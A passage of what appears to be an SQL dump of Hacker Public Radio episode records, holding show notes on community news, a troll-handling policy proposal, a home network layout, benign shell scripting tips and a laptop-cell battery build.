target=\"_blank\">2022-2023 New Years Show Episode 10</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">3885</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3885/index.html\" target=\"_blank\">L\'apéro des Papas Manchots podcast, Rencontre avec le vétérinaire du Libre</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">3886</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-06-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3886/index.html\" target=\"_blank\">light saber zzz ohh no!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">3887</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-06-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3887/index.html\" target=\"_blank\">10 must-know commands for a new cloud admin</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">3888</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3888/index.html\" target=\"_blank\">KeePassXC recent CVE</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">3889</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3889/index.html\" target=\"_blank\">comm - compare two sorted files line by line</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0030.html\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">3890</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3890/index.html\" target=\"_blank\">Lessons Learned</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 6 comments in total.</p>\n\n<h3>This month\'s shows</h3>\n<p>There are 6 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#comments\" target=\"_blank\">hpr3871</a></strong>\n(2023-06-05) \"<em>HPR Community News for May 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3871/index.html#1\" target=\"_blank\">Comment 1</a>:\nMechatroniac on 2023-06-10:\n\"hpr3816\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#comments\" target=\"_blank\">hpr3872</a></strong>\n(2023-06-06) \"<em>Sgoti update with replies.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3872/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-08:\n\"I\'m glad you are enjoying my shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#comments\" target=\"_blank\">hpr3878</a></strong>\n(2023-06-14) \"<em>Linux commands to gather information about your system</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0129.html\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3878/index.html#1\" target=\"_blank\">Comment 1</a>:\nfoky on 2023-06-15:\n\"one command to get them all\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#comments\" target=\"_blank\">hpr3879</a></strong>\n(2023-06-15) \"<em>HPR at Hillend</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3879/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Dr. Campbell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#comments\" target=\"_blank\">hpr3880</a></strong>\n(2023-06-16) \"<em>Installing a Google Nest Thermostat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3880/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-22:\n\"Addendum\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#comments\" target=\"_blank\">hpr3884</a></strong>\n(2023-06-22) \"<em>2022-2023 New Years Show Episode 10</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3884/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-06-24:\n\"PIN Story\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"relocation-of-the-hpr-site\">Relocation of the HPR site</h2>\n<p>A lot of work has gone into relocating HPR to a new server as well as\nmigrating to a static site. There is still work to do.</p>\n<ul>\n<li>The main database has been moved from\n<code>anhonesthost.com</code></li>\n<li>The static site generator written by <code>Rho`n</code> is being\nused to generate the entire new website (with a few exceptions).</li>\n<li>The remaining dynamic features (e.g. show submission and comment\nentry) are provided by a PHP interface</li>\n<li>There are outstanding issues with email on the server so at the\nmoment show submission needs manual intervention from the Janitors.</li>\n<li>The <code>hpr</code> mailing list is not working at present</li>\n<li>The way in which new shows are processed has had to be changed and\nshows containing pictures are not yet being rendered properly</li>\n</ul>\n<!--\nvim: syntax=pandoc:ts=8:sw=4:tw=0:noet:ai:\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3615,'2022-06-10','I am a troll and I\'m trolling HPR, trolling HPR, trolling HPR.',1608,'We got trolled and what we\'re going to do about it.','<p>In today\'s show Dave and I will read out the mail list thread we didn\'t cover in the Community News.</p>\n<p>Before we get to that, I wanted to inform you that we now know that the host in question was deliberately trolling HPR.</p>\n<p>I know this because they told me, and when I asked them to stop they went on to explain that they are a gadfly. I had to look that one up.</p>\n<p>Whatever they claim to be, the end effect for us is trolling.</p>\n<p>Both Josh and Myself have had some unnecessary stressful weeks for someone\'s idea of a joke.</p>\n<p>That said there have been some positives about this as well.</p>\n<p>Again we see the HPR community at its best in providing support and reasoned arguments.</p>\n<p>We have identified a possible loop hole in governance, that has been addressed by having a special advisory committee aka the auditor team of volunteers.</p>\n<p>And when we come up with a way of dealing with troll issues, we also get a mechanism to deal with DMCA take down requests, and other complaints.</p>\n<p>So what do we do with a troll ? Easy, just ignore them, or to put it another way \"Stay Calm and Go On\".</p>\n<p>This works well for comments but its not enough when the tactic is deliberate targeting of HPR.</p>\n<p>A lot of effort has gone into this attack:</p>\n<ul>\n<li>First they built trust by posting technical shows. This is a similar tactic that we see spammers use.</li>\n<li>Then they submitted a series of shows that would cause HPR legal issues.</li>\n<li>They then did not respond to questions, presumably in the hope that we would delete the shows ourselves.</li>\n</ul>\n<p>By moving the shows out to later in the queue we were able to avoid claims of \"censorship\", and they eventually removed the problem shows of their own accord.</p>\n<p>So what attack vector will be used next, and how will we deal with it ?</p>\n<p>I have no idea, but how to deal with it is also not so easy. We\'ll have to cross that bridge when we come to it.</p>\n<p>We do however need to tackle the risky situation of having problem content available on the website.</p>\n<p>So I suggest that we continue to post the shows as normal, if we get a complaint then the Janitors will contact the host as normal.</p>\n<p>Should they be unavailable, uncooperative, or disagree, then the Janitors can either move the show to the backup queue, or hide it depending on the severity of the complaint.</p>\n<p>In all cases we\'ll keep the special advisory committee aka the auditor team of volunteers in the loop to make sure all is above board.</p>\n<p>The community can then decide on the best course of action.</p>\n<p>So therefore I would like to propose the following changes to our policies.</p>\n<p>Both relate to <a href=\"https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\" class=\"uri\">https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated</a></p>\n<p>Currently: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that.\"</p>\n<p>Proposed: \"We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you not to upload anything that will harm HPR.\"</p>\n<p>Add the line: \"Any material that is reported as harming HPR may be unlisted until such a time as the situation can be resolved.\"</p>\n',30,0,1,'CC-BY-SA','troll, policy change',0,0,1),
(3616,'2022-06-13','Filling free Slots from the Reserve Queue',899,'You can now submit shows to the Reserve Queue for when free slots are not filled on time.','<p>\nIn today\'s show the Janitors discuss how the erratic feast/famine nature of the queue may be helped by filling free slots in the main feed from a reserve queue.\n</p>\n<p>\nThe current Emergency Queue would be renamed to the Reserve Queue.<br />\nIf a free slot in the calendar is not filled in time, then a show will be used from the Reserve Queue.<br />\nShows will be taken from the Reserve Queue on a first in first out basis.<br />\nHosts can either schedule a show for a particular slot or have their shows added to the Reserve Queue.<br />\nEventually we will we work on a dedicated upload option, but for now hosts can pick a random slot and just make a note in the show notes that the show is intended for the Reserve Queue.<br />\n</p>\n',225,0,1,'CC-BY-SA','HPR Scheduling, Queue, Reserve Queue',0,0,1),
(3622,'2022-06-21','My Network Setup.',1355,'How I\'ve Constructed My Home Network.','<h1 id=\"sgotis-network-documentation\">Sgoti\'s Network Documentation.</h1>\n<h2 id=\"device-list\">Device List.</h2>\n<ul>\n<li>Device01, <a href=\"https://www.amazon.com/gp/product/B08QTXNWZ1/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link ER605</a></li>\n<li>Device02, <a href=\"https://www.amazon.com/gp/product/B0141JX92G/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link TL-SG2210P V3</a></li>\n<li>Device03, <a href=\"https://www.amazon.com/gp/product/B08PW34WPX/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link EAP660 HD</a></li>\n<li>Device04, <a href=\"https://www.amazon.com/gp/product/B07GX6GVB6/ref=ppx_yo_dt_b_asin_title_o03_s00?ie=UTF8&amp;psc=1\">TP-Link Omada Hardware Controller</a></li>\n</ul>\n<h2 id=\"client-list\">Client List.</h2>\n<ul>\n<li>Client01, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client02, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client03, SGOTI\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client04, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client05, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client06, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client07, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n<li>Client08, USER\n<ul>\n<li>MAC Address: 00-00-00-00-00-00</li>\n</ul></li>\n</ul>\n<h2 id=\"server-list\">Server List.</h2>\n<ul>\n<li>Server01, SGOTI@HQBAK\n<ul>\n<li>AMD x86 FX w/ 1 SATA III 2.5\" Seagate 240Gig</li>\n<li>2 SATA III 3.5\" Western Digital Red 8TB</li>\n</ul></li>\n<li>Server02, NASPi\n<ul>\n<li>Pi4 model B, 8Gig, Geekworm NASPi w/ SATA III 2.5\" 1TB</li>\n</ul></li>\n<li>Server03, ArgonOne\n<ul>\n<li>Pi4 model B, 8Gig, ArgonOne w/ m.2 Western Digital Blue 500Gig</li>\n</ul></li>\n<li>Server04, DEVPi\n<ul>\n<li>Pi4 model B, 4Gig</li>\n</ul></li>\n<li>Server05, ZeroHero01\n<ul>\n<li>Pi Zero 2 W w/ microSD 128Gig</li>\n</ul></li>\n</ul>\n<h2 id=\"lan\">LAN.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.0.1/24</li>\n<li>Subnet Mask: 255.255.255.0</li>\n<li>Gateway: 192.168.0.1</li>\n<li>Broadcast: 192.168.0.255</li>\n<li>Group01: DEVICES\n<ul>\n<li>192.168.0.02, Device02</li>\n<li>192.168.0.03, Device03</li>\n<li>192.168.0.04, Device04</li>\n<li>192.168.0.05</li>\n<li>192.168.0.06</li>\n<li>192.168.0.07</li>\n<li>192.168.0.08</li>\n<li>192.168.0.09</li>\n</ul></li>\n<li>Group02: SGOTI\n<ul>\n<li>192.168.0.10, Client01</li>\n<li>192.168.0.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.0.12</li>\n<li>192.168.0.13</li>\n<li>192.168.0.14</li>\n<li>192.168.0.15</li>\n</ul></li>\n</ul>\n<h2 id=\"resistance-network\">Resistance Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.2.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.2.1</li>\n<li>Broadcast: 192.168.2.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.2.02</li>\n<li>192.168.2.03</li>\n<li>192.168.2.04</li>\n<li>192.168.2.05</li>\n<li>192.168.2.06</li>\n</ul></li>\n<li>Group02: USER\n<ul>\n<li>192.168.2.07</li>\n<li>192.168.2.08</li>\n<li>192.168.2.09</li>\n<li>192.168.2.10</li>\n<li>192.168.2.11</li>\n</ul></li>\n<li>Group03: USER\n<ul>\n<li>192.168.2.12</li>\n<li>192.168.2.13</li>\n<li>192.168.2.14</li>\n<li>192.168.2.15</li>\n<li>192.168.2.16</li>\n</ul></li>\n<li>Group04: USER\n<ul>\n<li>192.168.2.17</li>\n<li>192.168.2.18</li>\n<li>192.168.2.19</li>\n<li>192.168.2.20</li>\n<li>192.168.2.21</li>\n</ul></li>\n<li>Group04: SERVERS\n<ul>\n<li>192.168.2.22</li>\n<li>192.168.2.23</li>\n<li>192.168.2.24</li>\n<li>192.168.2.25</li>\n<li>192.168.2.26</li>\n</ul></li>\n<li>Group05: DHCP\n<ul>\n<li>192.168.2.27</li>\n<li>192.168.2.28</li>\n<li>192.168.2.29</li>\n<li>192.168.2.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t100-network\">T100 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.3.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.3.1</li>\n<li>Broadcast: 192.168.3.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.3.02</li>\n<li>192.168.3.03</li>\n<li>192.168.3.04</li>\n<li>192.168.3.05</li>\n<li>192.168.3.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.3.07</li>\n<li>192.168.3.08</li>\n<li>192.168.3.09</li>\n<li>192.168.3.10</li>\n<li>192.168.3.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.3.12</li>\n<li>192.168.3.13</li>\n<li>192.168.3.14</li>\n<li>192.168.3.15</li>\n<li>192.168.3.16</li>\n<li>192.168.3.17</li>\n<li>192.168.3.18</li>\n<li>192.168.3.19</li>\n<li>192.168.3.20</li>\n<li>192.168.3.21</li>\n<li>192.168.3.22</li>\n<li>192.168.3.23</li>\n<li>192.168.3.24</li>\n<li>192.168.3.25</li>\n<li>192.168.3.26</li>\n<li>192.168.3.27</li>\n<li>192.168.3.28</li>\n<li>192.168.3.29</li>\n<li>192.168.3.30</li>\n</ul></li>\n</ul>\n<h2 id=\"t1000-network\">T1000 Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.4.1/27</li>\n<li>Subnet Mask: 255.255.255.224</li>\n<li>Gateway: 192.168.4.1</li>\n<li>Broadcast: 192.168.4.31</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.4.02</li>\n<li>192.168.4.03</li>\n<li>192.168.4.04</li>\n<li>192.168.4.05</li>\n<li>192.168.4.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.4.07</li>\n<li>192.168.4.08</li>\n<li>192.168.4.09</li>\n<li>192.168.4.10</li>\n<li>192.168.4.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.4.12</li>\n<li>192.168.4.13</li>\n<li>192.168.4.14</li>\n<li>192.168.4.15</li>\n<li>192.168.4.16</li>\n<li>192.168.4.17</li>\n<li>192.168.4.18</li>\n<li>192.168.4.19</li>\n<li>192.168.4.20</li>\n<li>192.168.4.21</li>\n<li>192.168.4.22</li>\n<li>192.168.4.23</li>\n<li>192.168.4.24</li>\n<li>192.168.4.25</li>\n<li>192.168.4.26</li>\n<li>192.168.4.27</li>\n<li>192.168.4.28</li>\n<li>192.168.4.29</li>\n<li>192.168.4.30</li>\n</ul></li>\n</ul>\n<h2 id=\"skynet-network\">Skynet Network.</h2>\n<ul>\n<li>VLAN: NUMBERS</li>\n<li>IP Block: 192.168.5.1/28</li>\n<li>Subnet Mask: 255.255.255.240</li>\n<li>Gateway: 192.168.5.1</li>\n<li>Broadcast: 192.168.5.15</li>\n<li>Group01: SGOTI\n<ul>\n<li>192.168.5.02</li>\n<li>192.168.5.03</li>\n<li>192.168.5.04</li>\n<li>192.168.5.05</li>\n<li>192.168.5.06</li>\n</ul></li>\n<li>Group02: SERVERS\n<ul>\n<li>192.168.5.07</li>\n<li>192.168.5.08</li>\n<li>192.168.5.09</li>\n<li>192.168.5.10</li>\n<li>192.168.5.11</li>\n</ul></li>\n<li>Group03: DHCP\n<ul>\n<li>192.168.5.12</li>\n<li>192.168.5.13</li>\n<li>192.168.5.14</li>\n</ul></li>\n</ul>\n',391,61,0,'CC-BY-SA','Networking, TP-Link Omada, Subnetting',0,0,1),
(3623,'2022-06-22','Internet Security - Child Edition',2487,'I have a discussion about Internet security with R. Brady Frost along with our sons','<p>The stuff Evil Steve doesn\'t want you to know with Lurking Prion. This is Season 1, Episode 8.</p>\n<p>In this episode, I have a discussion about Internet security with special guest and author, R. Brady Frost along with his son and mine. The discussion revolves around how our kids view Internet security and we discuss dangers they hadn\'t considered.</p>\n<h2 id=\"pics-of-the-week\">Pics of the week:</h2>\n<ul>\n<li><p>Hackers (The Movie)<br />\n<a href=\"https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1\" class=\"uri\">https://www.imdb.com/title/tt0113243/?ref_=fn_al_tt_1</a></p></li>\n<li><p>Our Flag Means Death<br />\n<a href=\"https://www.imdb.com/title/tt11000902/\" class=\"uri\">https://www.imdb.com/title/tt11000902/</a></p></li>\n<li><p>R. Brady Frost<br />\n<a href=\"https://www.rbradyfrost.com/\" class=\"uri\">https://www.rbradyfrost.com/</a><br />\n<a href=\"https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/\" class=\"uri\">https://www.rbradyfrost.com/blog/category/a-battle-mage-reborn/</a></p></li>\n</ul>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><p>Has your password been involved in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></p></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3649,'2022-07-28','Linux Inlaws S01E61: 20 years in review',4319,'The last 20 years in review','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3648\">hpr3648 :: A response to tomorrows show</a>\r\n</p>\r\n<hr />\r\n<p>In this episode, Martin and Chris take a closer look at twenty years of Linux Inlaws\r\nhistory. Why, you may ask, given the fact that this podcast has only been in existence\r\nfor roughly over two years, are we reviewing this history? The answer - of course - is\r\nstraight forward: by sheer coincidence our two heroes got hold of a future episode\r\nwhich traveled back in time from the future. If you ever wondered about time-travel,\r\nthe paradoxes associated with this and what the next twenty years have in store not\r\njust from a Linux Inlaws perspective, this episode is for you.</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>DeLorean: <a href=\"https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future\" target=_blank>https://en.wikipedia.org/wiki/DMC_DeLorean#Back_to_the_Future</a></li>\r\n<li>Time-travel: <a href=\"https://en.wikipedia.org/wiki/Closed_timelike_curve\" target=_blank>https://en.wikipedia.org/wiki/Closed_timelike_curve</a></li>\r\n<li>Timespace: <a href=\"https://en.wikipedia.org/wiki/Spacetime\" target=_blank>https://en.wikipedia.org/wiki/Spacetime</a></li>\r\n<li>Altered Carbon: <a href=\"https://www.imdb.com/title/tt2261227\" target=_blank>https://www.imdb.com/title/tt2261227</a></li>\r\n<li>Linux Outlaws: <a href=\"https://en.wikipedia.org/wiki/Linux_Outlaws\" target=_blank>https://en.wikipedia.org/wiki/Linux_Outlaws</a></li>\r\n<li>The Inlaws @ YouTube: <a href=\"https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg\" target=_blank>https://www.youtube.com/channel/UC1j_uaAbB3magzPs4Z0Y-mg</a></li>\r\n<li>Timetravel with a DeLorean: <a href=\"https://www.backtothefuture.com\" target=_blank>https://www.backtothefuture.com</a></li>\r\n<li>D-Wave SPAC: <a href=\"https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger\" target=_blank>https://www.datacenterdynamics.com/en/news/quantum-computing-firm-d-wave-to-ipo-via-16bn-spac-merger</a></li>\r\n<li>Alphabet\'s attempt at longer living: <a href=\"https://www.calicolabs.com\" target=_blank>https://www.calicolabs.com</a></li>\r\n<li>The Fly: <a href=\"https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1\" target=_blank>https://www.imdb.com/title/tt0091064/?ref_=fn_al_tt_1</a></li>\r\n<li>Hello! Magazine: <a href=\"https://www.hellomagazine.com\" target=_blank>https://www.hellomagazine.com</a></li>\r\n<li>Jeff Bezo\'s purgatory: <a href=\"https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html\" target=_blank>https://www.livemint.com/companies/people/amazon-founder-jeff-bezos-divorce-with-mackenzie-bezos-final-with-38-billion-settlement-report-1562387250690.html</a></li>\r\n<li>Internet Archive: <a href=\"https://archive.org\" target=_blank>https://archive.org</a></li>\r\n<li>The GNU World Order: <a href=\"https://gnuworldorder.info\" target=_blank>https://gnuworldorder.info</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Time-travel, DeLorean, D-Wave, Hello! Magazine, Calico Labs',0,0,1),
(3625,'2022-06-24','Shell Tips and Snippets - Collaborative Effort',1225,'Carl and special guests provide some shell tips and examples.','<p>Carl talks about a method to move function definitions to the bottom of a script using sed:</p>\n<pre><code>#!/bin/sh\nsource &lt;(sed &#39;1,/^exit/ d&#39; $0)\n\n__say &quot;hello&quot;\n\nexit\n\n__say()\n{\n    echo $1\n}\n</code></pre>\n<p>Guest Host #1 (scroll to the bottom to ruin the surprise) talks about the shift command using this example:</p>\n<pre class=\"bash\"><code>startdate=&quot;$1&quot; # Pick up date\nshift\ndays=0\n\n# Loop through args and create events\nwhile [ $1 ] ; do # as many times as you add a timestamp\n        [ $1 != &quot;off&quot; ] &amp;&amp; khal new $(date -j -v+&quot;$days&quot;d -f %Y-%m-%d +%Y-%m-%d $startdate) $1 8H Work\n        let days++\n        shift\ndone\n</code></pre>\n<p>Guest Host #2 provides tips and examples on how to use variables safely and politely provide default values. One example of assigning a default value is:</p>\n<pre><code>foo=${foo:-&quot;blah&quot;}\n</code></pre>\n<p>Carl then closes out with the : (colon) shell builtin and provides a variation on the above default value:</p>\n<pre><code>: ${foo:=&quot;blah&quot;}\n</code></pre>\n',380,42,0,'CC-BY-SA','shell',0,0,1),
(3628,'2022-06-29','Building a Mobile Computer Battlestation: Extended Power Supply',1235,'Mobile computer Battlestation part 1; 16 cell power supply and BMS','<p>At the end, I am a little disappointed in the performance. One of the cell banks was discharging quicker than the others, but I replaced it and it is much more efficient now.</p>\n<p>All the cells were salvaged from old laptops.</p>\n<p><em>Figure 0.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.1_thumbnail.1.png\" alt=\"Figure 0.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.2_thumbnail.2.png\" alt=\"Figure 0.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 0.3</em><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3628/fig0.3.png\" alt=\"Figure 0.3\" /></p>\n<p><em>Figure 1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig1_thumbnail.jpg\" alt=\"Figure 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.0</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.0_thumbnail.0.jpg\" alt=\"Figure 2.0\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.1</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.1_thumbnail.1.jpg\" alt=\"Figure 2.1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.2</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.2_thumbnail.2.jpg\" alt=\"Figure 2.2\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 2.3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig2.3_thumbnail.3.jpg\" alt=\"Figure 2.3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 3</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig3.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig3_thumbnail.jpg\" alt=\"Figure 3\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 4</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3628/fig4.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3628/fig4_thumbnail.jpg\" alt=\"Figure 4\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\n<p><em>Figure 5</em><br />\n<a 